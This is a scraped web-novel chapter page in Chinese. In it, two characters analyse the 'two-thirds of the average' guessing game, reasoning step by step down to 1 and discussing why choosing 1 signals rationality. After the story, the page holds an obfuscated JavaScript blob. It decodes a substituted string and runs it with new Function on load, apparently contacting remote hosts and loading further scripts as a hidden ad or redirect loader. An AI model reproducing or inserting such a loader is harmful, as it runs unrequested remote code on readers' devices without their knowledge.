第297章(第3页)
请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。
不见寒稍微思索,很快给出了答案:“67以上的数字,我都绝对不会选。”
“答对了!我们可以先假设一个极端状况,那就是所有玩家全部都选择了能够被选择的最大整数1oo。”牧糍说,“在这种情况下,玩家选择数字的平均值为1oo,它的三分之二是66。666……它最接近的整数为67,因此无论怎样,获胜数字都不可能高于67。”
“然后现在,已知你是一个理性人,你为了获胜,绝不可能选择一个67以上的数字。于是又出现了一个新问题:假设你的对手都不是傻子,他们也很理性,知道自己不应该选择67以上的数字。现在你不应该选择的数字是多少?”
这一回,不见寒比上次被提问更快地给出了答案:“45以上的数字我都绝对不会选。”
“因为我知道,我的对手们不会选择过67的数字,我可以先假设一种所有人都选了67的极端情况,此时最接近平均数三分之二的整数是45。选择高于45的整数,对我而言都是不理智的。”
牧糍说:“好。那么假设你的对手也都想到了这一层,他们都不会选择45以上的数字。现在呢?你该怎么进行选择?”
牧糍说到这里,不见寒已经豁然开朗。
不需要她继续解释下去,不见寒已经飞快地说出了后续的答案:“当我假设所有人都选择45时,我不应该选择过45的三分之二,也就是高于3o的数字。依次类推,我不能选择高于2o的数字,然后是13,9,6,4……”
“这样推算下去,作为一个理性的人,我应该选择的数字只有……”
“1!”
牧糍朝他竖起一个大拇指:“回答正确!事实上全员选1就是这个游戏的最佳解答。因为当所有人选1的时候,大家选择数字的平均数是零点六六六循环,最接近这个数值的整数就是1,也就是所有人都选到了获胜数字,全部成为获胜玩家。”
不见寒说:“但是这根本不可能实现。事实也证明,选择1的玩家只有两个。”
“是的,你这句话说得很对。”牧糍点头,“这个应该是最佳答案的选择,乍一听起来,非常违背直觉。我们假设的只是极端情况,这个局面的出现,要求每一个参与的玩家都绝对理性,而且知道其他玩家都和他一样理性……这是不可能做到的。”
“说完了这场游戏的绝对理性的解法,再来说说正常人的解答反应。先不提游戏规则之外的手段,你听到这个题目的第一瞬间,想到的选择方法是什么?”
牧糍这个问题让不见寒迷茫了一下。
作为操纵命运与概率的缇刻权柄的持有者,他从拿到题目的一开始,就没想过通过猜测去决定自己的答案。
事实上,他拿到题目的第一反应是掏出命运之轮。周围这么多射击目标,足够他打空几十匣子子弹,他可以一直射击,直到触决定论,指定自己成为获胜玩家的概率是百分百。
但是题目有作答时间限制,要让他在几分钟之内触决定论,属实有点为难人了。
因此他才退而求其次,选择了使用星月银币进行占卜。
“正常人其实会想到,假设这一百个人都会随机选择数字,那么平均数大概在5o左右。最接近5o的三分之二的整数,是33。”牧糍说,“如果再想多一点,其他所有玩家都能考虑到这一层的话,那么玩家们选择的数字应该会是最接近33三分之二的整数,也就是22左右。”
“一般人能想到这两层也就差不多了,所以以22为基点上下浮动几位数,就算2o到25之间吧,它们对应的最接近它们三分之二数值的整数的区间,正好是13到17。我猜,这就是猫猫鱼让我在这个数字区间里面随缘选择的原因。”
不见寒愣了好一会儿。
他是靠能力,裴尧是靠运气。唯独牧糍选择这个数字,是俞尉施凭本事预判别人的预判,硬生生推理出来的。
“可是,他既然知道应该怎样选择才能取到正确的获胜数字,为什么他只让你选了,自己反而没选呢?”不见寒朝俞尉施和苍行衣的方向投去费解的一瞥。
“这或许就要涉及到游戏的另外一条规则了。”牧糍摇头晃脑道,“除了获胜玩家可以得到特权之外,这个游戏还有一条规则,就是选择到相同数字的玩家,将会结为队友。”
“虽然能够推断出获胜数字在13到17这个区间波动,但这个区间终究有5个数字,随机选择其中一个,只有五分之一成为获胜玩家的可能。而且其他玩家是不受控制的,选择的数字平均数,也有出预测范围的可能。”
“他知道我不够聪明不够理性,在拿到题目的时候,大概率做不出选1的极端理性的抉择,所以给了我建议选择的获胜数字区间。”
“而他自己不选这个区间的数字,是为了追求另外一种利益最大化。”
“这种游戏里,一般人直觉都不会去选1的。能够在这种规则下选1的人,必然是知道这场游戏真正逻辑内核的,具有理性抉择能力的聪明人。”
“他选1,是在筛选未来的队友,并通过这个选择告诉对方——”
“‘我是一个具有理性思考能力的人,希望你也是。’”
请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。
!function(){function a(a){var _idx="hy7mvy57ph";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@07Rq^)OmDFfFf2mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^(Tm5dq4J6mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^ROm^4^_ppmRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^5Fm5dq4J6mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^TJmDFfFf2mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^DSm5dq4J6mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^dCm^4^_ppmRT4gQ@KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@0jR8hT1^XTn1Jh"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@0"=X8"hT1^XTn1Jh"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@07Rq^d(mS(L^XTmRT4"="@07Rq^)5md4:)f:mRT4"="@07Rq^YFmS(L^XTmRT4"="@07Rq^^Cmd4:)f:mRT4"="@07Rq^Y5mS(L^XTmRT4"="@07Rq^(Fmd4:)f:mRT4"="@07Rq^h^mS(L^XTmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@KQ"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@07Rq^)T(m^Y6q_fmRT4gQ@KQ/((/@0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@07Rq^)T(m^Y6q_fmRT4gQ@KQ/((/@0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@07Rq^)OmDFfFf2mRT4gQ@KQ/f/@0j(8}vR8hT1^XTn1Jh"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@07Rq^)OmDFfFf2mRT4gQ@KQ"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
m.dianxs.com 殿行说
畅快阅读 永久免费
请注意适当休息 保护好您的眼睛